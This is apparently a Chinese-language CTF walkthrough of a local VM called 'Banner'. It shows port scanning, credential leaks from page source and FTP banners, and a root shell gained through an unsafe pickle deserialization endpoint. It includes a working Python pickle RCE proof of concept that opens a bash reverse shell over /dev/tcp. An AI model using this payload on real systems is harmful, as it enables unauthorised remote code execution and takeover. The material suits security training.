

Banner

信息搜集

192.168.100.46

端口扫描

```
└─(root@kali)-[~]
└─# rustscan -a 192.168.100.46
.....
| {} }| { } |{ { _ { _ }{ { _ / _ } / {} \ | `| |
| .- . \ | { _ } | .- _ } } | | .- _ } }\ _ } / \ \ | \ |
| ' ' ' _ _ _ _ _ ' _ ' _ _ _ _ _ ' _ _ _ _ _ '
The Modern Day Port Scanner.

: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
-----
Scanning ports like it's my full-time job. Wait, it is.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit.
May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use
the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.100.46:21
Open 192.168.100.46:22
Open 192.168.100.46:8080
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-10 02:32 EDT
Initiating ARP Ping Scan at 02:32
Scanning 192.168.100.46 [1 port]
Completed ARP Ping Scan at 02:32, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 02:32
Completed Parallel DNS resolution of 1 host. at 02:32, 0.09s elapsed
DNS resolution of 1 IPs took 0.09s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF:
0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 02:32
Scanning 192.168.100.46 [3 ports]
Discovered open port 22/tcp on 192.168.100.46
Discovered open port 8080/tcp on 192.168.100.46
Discovered open port 21/tcp on 192.168.100.46
Completed SYN Stealth Scan at 02:32, 0.03s elapsed (3 total ports)
Nmap scan report for 192.168.100.46
Host is up, received arp-response (0.00065s latency).
Scanned at 2026-04-10 02:32:14 EDT for 0s

PORT      STATE SERVICE  REASON
21/tcp    open  ftp      syn-ack ttl 64
22/tcp    open  ssh      syn-ack ttl 64
```

```
8080/tcp open  http-proxy syn-ack ttl 64
MAC Address: 08:00:27:E0:34:12 (PCS Systemtechnik/Oracle virtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds
Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
```

信息泄露

查看网页源码可以发现泄露了凭证

```
</style>
</head>
<body>
  <!-- 分数变化提示 -->
  <div id="scoreChange" class="score-change">+10 分</div>

  <!-- 弹窗显示flag -->
  <div id="flagModal" class="flag-modal">
    <div class="flag-content">
      <h2>🎉 恭喜你! </h2>
      <div class="congrats">分数达到 1000 分! </div>
      <div>这是你需要的信息: </div>
      <div class="flag-text" id="flagText">111:banner</div>
      <button class="close-btn" onclick="closeFlagModal()">关闭</button>
    </div>
  </div>

  <div class="container">
    <!-- 左侧: 答题区域 -->
    <div class="left-panel">
      <!-- 页面标题 -->
      <div class="page-header">
```

111:banner

尝试ssh登录

```
└─(root@kali)-[~]
└─# ssh 111@192.168.100.46
The authenticity of host '192.168.100.46 (192.168.100.46)' can't be established.
ED25519 key fingerprint is SHA256:02iH79i8Pg0wV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:2: [hashed name]
  ~/.ssh/known_hosts:4: [hashed name]
  ~/.ssh/known_hosts:5: [hashed name]
  ~/.ssh/known_hosts:6: [hashed name]
  ~/.ssh/known_hosts:7: [hashed name]
  ~/.ssh/known_hosts:8: [hashed name]
  ~/.ssh/known_hosts:9: [hashed name]
  ~/.ssh/known_hosts:10: [hashed name]
  (2 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
warning: Permanently added '192.168.100.46' (ED25519) to the list of known hosts.
111@192.168.100.46's password:
Linux Banner 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

```
Last login: Thu Apr  9 02:17:45 2026 from 192.168.43.43
This account is currently not available.
Connection to 192.168.100.46 closed.
```

可以发现登录shell被nologin了

21 ftp

```
lftp 111@192.168.100.46
```

```
(root@kali)-[~]
# lftp 111@192.168.100.46
Password:
lftp 111@192.168.100.46:~> ls
-rw-r--r--      1 1001      1001          31 Mar 18 03:08 hint
lftp 111@192.168.100.46:/> cat hint
你知道什么是banner吗?
31 bytes transferred
lftp 111@192.168.100.46:/>
```

你知道什么是banner吗?

ftp登录发现每次登录的banner都不一样

```
(root@kali)-[~]
# ftp 192.168.100.46
Connected to 192.168.100.46.
220-Snakes          Eat          Crickets
220-      / _ )`.
220-      / _ )^ )`. .----.
220-      ( _ ' \ ^-)""' \ \
220-          | |          | | \
220-          | |          | | |
220-      / \ /----' \ ( \ (
220-      < , " | |      \ \ \ \
220-      \ \ \ (      ) ) ) )
220-      | | \      | | / /
220-      | | \      | | -'
220-          |      |
220-          |      |
220-          |      |
220-          |      |
220-Carefully observe the changes in the information above.
220
Name (192.168.100.46:root):
```

```
(root@kali)-[~]
# ftp 192.168.100.46
Connected to 192.168.100.46.
220-Wild           Elephants           Love
220-
220-  / _ )`.
220-  / _ )^ )`. .----.
220- ( _ , ' \ ^-)""' \ \
220-   | |           | | \
220-   | |           | | |
220-  / \ /----' \ ( \ (
220- < , " | |   \ \ \ \
220-  \ \ \ (    ) ) ) )
220-   | | \     | | / /
220-   | | \     | | -'
220-   |         |
220-
220-   |         |
220-
220-
220-Carefully observe the changes in the information above.
220
Name (192.168.100.46:root):
```

```
(root@kali)-[~]
# ftp 192.168.100.46
Connected to 192.168.100.46.
220-Clever           Owls           Make
220-
220-  / _ )`.
220-  / _ )^ )`. .----.
220- ( _ , ' \ ^-)""' \ \
220-   | |           | | \
220-   | |           | | |
220-  / \ /----' \ ( \ (
220- < , " | |   \ \ \ \
220-  \ \ \ (    ) ) ) )
220-   | | \     | | / /
220-   | | \     | | -'
220-   |         |
220-
220-   |         |
220-
220-
220-Carefully observe the changes in the information above.
220
Name (192.168.100.46:root):
```

且每个单词首字母都是大写，猜测可能是凭证、

welcome:mazesec

提权

welcome -> root

ssh登录

```
└─(root@kali)-[~]
└─# ssh welcome@192.168.100.46
welcome@192.168.100.46's password:
Linux Banner 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Apr  8 10:09:46 2026
```

在/opt/ctf-game中存在源码

get下来分析，漏洞点

```
@app.route('/api/serialize', methods=['POST'])
def serialize_score():
    # 漏洞10: pickle反序列化
    data = request.get_data() # 1. 接收用户原始数据

    try:
        # 2. 直接 Base64 解码后，立刻进行反序列化！
        # 没有任何签名校验、没有任何白名单过滤！
        obj = pickle.loads(base64.b64decode(data))

        # 3. 这里的检查只是“事后诸葛亮”
        if isinstance(obj, dict) and 'score' in obj:
            # ... 省略业务逻辑 ...
            return jsonify({'success': True})
    except Exception as e:
        return jsonify({'success': False, 'error': str(e)})

    return jsonify({'success': False})
```

漏洞点是 `obj = pickle.loads(base64.b64decode(data))`

poc

```
#!/usr/bin/env python3
import pickle, base64, requests, os

TARGET = "http://192.168.100.46:8080"
LHOST = "192.168.100.13"
LPORT = 7777

class RCE:
    def __reduce__(self):
        cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"
        return (os.system, (cmd,))

payload = base64.b64encode(pickle.dumps(RCE()))

requests.post(f"{TARGET}/api/serialize", data=payload)
```

之所以漏洞点在这里是因为 `pickle` 模块并不是在做简单的文本解析，它内部运行着一个 **PVM**虚拟机，当调用 `pickle.loads(data)` 时，PVM 会遍历传入的每一个字节，并将其解释为Opcode操作码

漏洞点运行时的栈操作：

假设 Payload 转换成 Pickle 指令后，PVM 会经历以下步骤：

1. **C 指令 (GLOBAL)**：告诉 PVM 去导入 `os` 模块并获取 `system` 函数。PVM 会将其压入栈中。
2. **(指令 (MARK)**：在栈上放一个标记，准备传参。
3. **V 指令 (UNICODE)**：将你的恶意命令（如 `bash -i...`）压入栈。
4. **t 指令 (TUPLE)**：将标记之后的所有内容弹出并组合成一个元组 `('bash -i...',)`。
5. **R 指令 (REDUCE)** ← **真正的爆炸点**：
 - PVM 从栈中弹出一个元组（参数）和一个函数对象（`os.system`）。
 - **它直接执行了** `函数(*参数)`。

使用reduce触发是因为 `__reduce__` 方法决定了生成的序列化数据中包含什么样的 Opcode。

- 当 `pickle.dumps(obj)` 发现对象有 `__reduce__` 时，它会生成特殊的 **R (REDUCE)** 指令。
- 这个指令在 `pickle.loads` 看来，不是在恢复数据，而是在执行一个“对象重构逻辑”。
- 攻击者可以通过返回 `(os.system, ('cmd',))`，使得 PVM 在反序列化期间调用系统内核。

同时呢在start.sh中发现main.py是python运行的，考虑会不会是root运行的如果是root那么反弹shell的用户就是root

```
welcome@Banner: /opt/ctf-game$ cat start.sh
#!/bin/bash
# CTF Game Server 启动脚本
# 每次启动都会清除所有数据

echo "=====
echo "  CTF Game Server 启动中..."
echo "  每次启动都会清除所有历史数据 "
echo "  分数从0分开始重新挑战 "
echo "=====

# 设置环境变量
export PYTHONPATH=/opt/ctf-game
export FLASK_APP=main.py
export FLASK_ENV=production

# 切换到工作目录
cd /opt/ctf-game

# 检查必要目录是否存在
mkdir -p data logs uploads static templates

# 检查必要的Python包
python3 -c "import flask; import sqlite3; import json; import pickle; import base64; print('所有依赖包正常')" ||
    echo "缺少依赖包，正在安装..."
    pip3 install flask
}

# 启动服务器
echo ""
echo "启动 CTF Game Server..."
echo "工作目录: $(pwd)"
echo "Python路径: $(which python3)"
echo "Python版本: $(python3 --version)"
echo "Flask版本: $(python3 -c "import flask; print(flask.__version__)")"
echo ""

# 执行主程序
```

查看python进程，发现是root运行的

```
welcome@Banner:/opt/ctf-game$ ps aux | grep python3
root      375   0.0  1.0 108880 21220 ?        Ssl  02:25   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root      415   0.0  1.4 37896 30348 ?        Ss   02:25   0:00 python3 main.py
root      461 59.8  1.8 614128 38268 ?        Sl   02:25  24:39 /usr/bin/python3 /opt/ctf-game/main.py
welcome   776936 0.0  0.0   3044   636 pts/0    R+   03:06   0:00 grep python3
welcome@Banner:/opt/ctf-game$
```

使用刚刚的脚本反弹shell

```
(root@kali)-[/opt/tools]
# python3 penelope.py -p 7777
[+] Listening for reverse shells on 0.0.0.0:7777 → 127.0.0.1 • 192.168.100.13 • 172.17.0.1 • 172.18.0.1 • 172.20.0.1 • 172.19.0.1
➤ 🍷Main Menu (m) 🍷Payloads (p) 🍷Clear (Ctrl-L) 🍷Quit (q/Ctrl-C)
[+] Got reverse shell from Banner-192.168.100.46-Linux-x86_64 🍷Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 🍷
[+] Interacting with session [1], Shell Type: 🍷, Menu key: 🍷
[+] Logging to /root/.penelope/Banner~192.168.100.46-Linux-x86_64/2026_04_10-03_15_49-274.log 🍷

root@Banner:/opt/ctf-game# whoami
root
root@Banner:/opt/ctf-game#
```